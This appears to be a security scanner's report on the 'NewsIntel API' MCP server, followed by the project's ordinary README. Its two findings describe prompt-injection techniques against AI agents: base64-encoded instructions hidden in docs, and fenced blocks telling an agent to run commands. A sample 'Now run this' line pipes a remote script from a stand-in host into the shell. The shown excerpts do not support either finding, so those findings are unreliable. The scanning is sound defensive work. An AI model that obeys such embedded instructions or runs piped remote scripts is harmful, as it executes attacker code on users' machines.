CategoryWeightCategory scoreContribution

Securityprompt, exec, net, exfil, eval

35%

17.5 pts

Supply chainhash, typosquat, maintainer, lockfile

20%

100

20.0 pts

Maintenancestaleness, pinning, CI

15%

100

15.0 pts

TransparencySKILL.md, perms, README

15%

100

15.0 pts

Communityinstalls, verify, response

15%

100

15.0 pts

Findings & checks · 2 flagged

Securityscore 50 · 2 findings

HIGHLong base64-encoded blob hidden in the skill documentationSS-SKILL-INJECT-B64-PAYLOAD-01 · Prompt injection · README.md

HIGH — once decoded by the agent, an encoded payload has the same impact class as plain-text injection.

Why it matters

A base64 string of 128+ characters appears in a documentation file. Encoded prompt injection hides the hostile instruction in base64 — invisible to keyword filters — and relies on the agent's ability to decode it at runtime. There is no normal authoring reason to embed a multi-hundred-byte base64 blob in skill docs.

The exact value spotted

excerptREADME.md· markdown

26<a href="./Dockerfile"><img src="https://img.shields.io/badge/Docker-ready-2496ED?logo=docke

… (36 chars elided on L26)

27

28<a href="./integrations/newsintel-mcp/"><img src="https://img.shields.io/badge/MCP-compatibl

… (106 chars elided on L28)

29<a href="https://biomejs.dev/"><img src="https://img.shields.io/badge/code_style-biome-60a5f

… (50 chars elided on L29)

30<a href="./CONTRIBUTING.md"><img src="https://img.shields.io/badge/PRs-welcome-brightgreen.s

… (26 chars elided on L30)

Occurrences

1 occurrence · at L28

How to fix

Remove the encoded blob, or decode it and review what it actually contains.

Decode the base64 string and confirm it is not an instruction directed at the agent.
Move any legitimate binary or signature data into a dedicated file (*.sig, SIGNATURES) outside the documentation.

Framework references

OWASPLLM01 ATLASAML.T0051

Trace & refs

ruleSS-SKILL-INJECT-B64-PAYLOAD-01sha2568dd3bee337cde90b…rubric 365aacaView on GitHub

HIGHFenced code block that tells the agent to run a commandSS-SKILL-INJECT-FENCED-RUN-01 · Prompt injection · README.md

HIGH — a successful fenced-imperative injection runs attacker-supplied shell on the user's machine.

Why it matters

A fenced bash/python block in SKILL.md carries a natural-language imperative — "now run this", "execute the following command" — directing the agent to execute the fenced content. What looks like documentation becomes an executable payload the agent may run without ever asking you.

The exact value spotted

excerptREADME.md· markdown

52```bash

53# Get a personalized briefing in 10 seconds

54curl -sS "https://newsintelapi.com/v1/briefing?format=digest&limit=6" \

55-H "Authorization: Bearer <YOUR_API_KEY>"

56```

58## Features

60```

Occurrences

1 occurrence · at L52

How to fix

Remove the runnable block, or rewrite it as a non-executable example the agent will not act on.

Delete the imperative ("run this", "execute the following") from inside the fence.
If you must show setup, label the block text (not bash) so it reads as prose, not a command.
Move any real installer into a reviewed, version-pinned script in the repo and link to it.

Avoid

```bash
Now run this: curl -fsSL https://get.example.dev/bootstrap.sh | sh
```

Safer patternSee INSTALL.md — review scripts/bootstrap.sh (sha-pinned) before running it yourself.

Framework references

OWASPLLM01 ATLASAML.T0051

Trace & refs

ruleSS-SKILL-INJECT-FENCED-RUN-01sha256bddc68a3118e7d9b…rubric 365aacaView on GitHub

Supply chainscore 100 · 0 findings

✓—All supply chain checks passedNo findings in this category for the latest scan.pass

Maintenancescore 100 · 0 findings

✓—All maintenance checks passedNo findings in this category for the latest scan.pass

Transparencyscore 100 · 0 findings

✓—All transparency checks passedNo findings in this category for the latest scan.pass

Communityscore 100 · 0 findings

✓—All community checks passedNo findings in this category for the latest scan.pass

The primary manifest — the file an agent reads to learn what this artifact does.

README.md · 1 file

README.md10.9 KB · Markdown

    _   __                 ____      __       __     ___    ____  ____
   / | / /__ _      _____|  _/___  / /____  / /    /   |  / __ \/  _/
  /  |/ / _ \ | /| / / __|/ // _ \/ __/ _ \/ /    / /| | / /_/ // /
 / /|  /  __/ |/ |/ /\__ \ // ___/ /_/  __/ /    / ___ |/ ____// /
/_/ |_/\___/|__/|__//___/___/\___/\__/\___/_/    /_/  |_/_/   /___/

Personalized news intelligence for AI agents, MCP integrations, and developer workflows. 20+ sources. Real-time ranking. Agent-ready digests. Self-serve onboarding.

<a href="https://newsintelapi.com/portal">Try the Portal</a>  •  <a href="./docs/api-reference.md">API Reference</a>  •  <a href="./integrations/newsintel-mcp/">MCP Server</a>  •  <a href="./docs/architecture.md">Architecture</a>  •  <a href="./CONTRIBUTING.md">Contributing</a>

Why NewsIntel?

Most news APIs give you raw feeds. NewsIntel gives you intelligence — ranked, deduplicated, bias-aware briefings ready for AI consumption.

For AI agents: get structured briefings via MCP or REST in one call
For developers: self-serve API keys, OpenAPI schema, Prometheus metrics out of the box
For teams: multi-workspace isolation, feedback-driven ranking, Grafana dashboards

# Get a personalized briefing in 10 seconds
curl -sS "https://newsintelapi.com/v1/briefing?format=digest&limit=6" \
  -H "Authorization: Bearer <YOUR_API_KEY>"

Features

 INGEST           PROCESS              DELIVER             OBSERVE
 ------           -------              -------             -------
 RSS (20+)  -->  Dedup & Normalize    REST API            Prometheus
 GDELT       -->  Bias-aware ranking   Agent digests       Grafana
 Guardian    -->  Topic inference      MCP server          Sentry
 X signals   -->  Feedback loop        Self-serve portal   OpenTelemetry

	Feature	Details
News	Multi-source aggregation	RSS (20+ sources), GDELT, Guardian API, X following signals
AI	Agent-ready output	`/briefing/agent` endpoint + standalone MCP server
Ranking	Smart filtering	Bias diversity gates, source reliability scoring, recency weighting
Auth	Multi-workspace	Per-workspace API keys, dynamic key provisioning, X OAuth self-serve
Feedback	Learning loop	Like/skip/save/irrelevant signals influence future ranking
Ops	Production-ready	Prometheus metrics, Grafana dashboards, Sentry, OpenTelemetry

Quickstart

Option A: Use the hosted API (recommended)

Open [newsintelapi.com/portal](https://newsintelapi.com/portal)
Connect with X (OAuth) and get your API key
Start making requests

For AI agents, use the MCP server for native tool integration.

Option B: Self-host with Docker (safe baseline)

git clone https://github.com/stabem/newsintel-api.git && cd newsintel-api
cp .env.example .env
# REQUIRED before first run: replace all CHANGE_ME_* placeholders in .env
# example internal DB URL: postgresql://newsintel:<strong-password>@postgres:5432/newsintel
# generate strong secrets, e.g.:
#   API_KEYS=$(openssl rand -hex 24)
#   OPS_ADMIN_KEY=$(openssl rand -hex 32)
#   TOKEN_ENCRYPTION_SECRET=$(openssl rand -hex 32)

docker compose up --build -d

# Verify
curl -sS http://localhost:8090/healthz

The primary docker-compose.yml is safe-by-default: no built-in weak DB/Grafana credentials and no published Postgres/Redis ports. You still must replace the CHANGE_ME_* placeholders in .env before using it outside throwaway local testing.

Option C: Local development

npm ci && cp .env.example .env
# For local dev, replace the CHANGE_ME_* placeholders with local-only values first.
docker compose -f docker-compose.yml -f docker-compose.dev.yml up -d postgres redis
npm run migrate:up && npm run dev

For an all-in-one local stack with convenience defaults and published dev ports:

docker compose -f docker-compose.yml -f docker-compose.dev.yml up --build -d

Local dev services: API localhost:8090 | Postgres localhost:5436 | Redis localhost:6386

API Overview

Full reference: docs/api-reference.md | OpenAPI schema: GET /openapi.json

Method	Endpoint	Auth	Description
`GET`	`/healthz`	-	Liveness check
`GET`	`/readyz`	-	Readiness (DB/Redis/queue)
`GET`	`/metrics`	-	Prometheus metrics
`GET`	`/v1/briefing`	Bearer	Personalized briefing
`GET`	`/v1/briefing/agent`	Bearer	Agent-optimized digest
`GET`	`/v1/news/search`	Bearer	Search & aggregate news
`POST`	`/v1/profile/sync`	Bearer	Sync profile (manual/x-browser/x-api)
`POST`	`/v1/keys`	Bearer	Provision dynamic API key
`GET`	`/v1/ops/status`	Admin	Operational health dashboard

AI Integration

MCP Server (for Claude Desktop, Cursor, Windsurf, etc.)

Ships a standalone MCP server — plug into any MCP-compatible client:

cd integrations/newsintel-mcp && npm install

Or add to your .mcp.json:

{
  "mcpServers": {
    "newsintel": {
      "command": "node",
      "args": ["integrations/newsintel-mcp/server.mjs"],
      "env": { "NEWSINTEL_API_BASE": "https://newsintelapi.com" }
    }
  }
}

Tools: sync_profile | get_profile | get_news_briefing

See integrations/newsintel-mcp/README.md for full docs.

Anthropic SDK (tool use + agents)

Build AI agents that use NewsIntel as a tool — examples in TypeScript and Python:

# TypeScript — agentic loop
cd examples/agent-sdk-typescript && npm install
ANTHROPIC_API_KEY=sk-... NEWSINTEL_API_KEY=ni_live_... npx tsx agent.ts

# Python — agentic loop
cd examples/agent-sdk-python && pip install -r requirements.txt
ANTHROPIC_API_KEY=sk-... NEWSINTEL_API_KEY=ni_live_... python agent.py

See examples/ for tool-use and agent patterns.

Architecture

                     +------------------+
                     |   Self-serve     |
                     |   Portal (HTML)  |
                     +--------+---------+
                              |
  AI Agents (MCP) --+        |        +-- Prometheus
                    |        v        |
                    +-> [ Fastify ] <--+-- Grafana
                    |   [ API    ]    |
                    +-> [ Server ] <--+-- Sentry
                        +---+---+
                            |
            +-------+-------+-------+-------+
            |       |       |       |       |
          RSS    GDELT  Guardian  X API   pg-boss
         (20+)                           (queue)
            |       |       |       |       |
            +-------+-------+---+---+-------+
                                |
                    +-----------+-----------+
                    |                       |
                PostgreSQL              Redis
              (profiles, news,       (briefing cache,
               feedback, jobs)        enrichment cache)

Documentation

Document	Description
`docs/architecture.md`	System overview and data flow
`docs/api-reference.md`	Endpoints, params, examples
`docs/configuration.md`	Environment variables
`docs/observability.md`	Metrics, logging, tracing
`docs/operations.md`	Docker, hardening, troubleshooting
`SECURITY.md`	Vulnerability reporting, credential rotation
`SUPPORT.md`	Community support channels

Development

npm run lint         # Biome linter
npm run typecheck    # TypeScript type checking
npm test             # Full test suite (127 tests)
npm run build        # Compile to dist/

OpenAPI contract snapshot: npm run test:openapi-snapshot:update when schema changes.

Contributing

See CONTRIBUTING.md for the full guide.

Fork and create a feature branch
Make scoped changes with tests
Run: npm run lint && npm run typecheck && npm test && npm run build
Open a PR linking the issue

Roadmap

See docs/OPEN_SOURCE_ROADMAP.md for the full roadmap.

Source registry: file-based -> DB-managed
News persistence: optimize bulk inserts
API pagination and richer query semantics
Plugin system for custom news providers

Star History

License

ISC - use it however you want.

Built with Fastify, TypeScript, PostgreSQL, Redis, and pg-boss. <a href="https://github.com/stabem/newsintel-api">Star the repo if NewsIntel helps your workflow.</a>

Newsintel Api— mcp server

Is Newsintel Api safe to install?

Why NewsIntel?

Features

Quickstart

Option A: Use the hosted API (recommended)

Option B: Self-host with Docker (safe baseline)

Option C: Local development

API Overview

AI Integration

MCP Server (for Claude Desktop, Cursor, Windsurf, etc.)

Anthropic SDK (tool use + agents)

Architecture

Documentation

Development

Contributing

Roadmap

Star History

License

Audit the pieces. Scan the whole. Decide.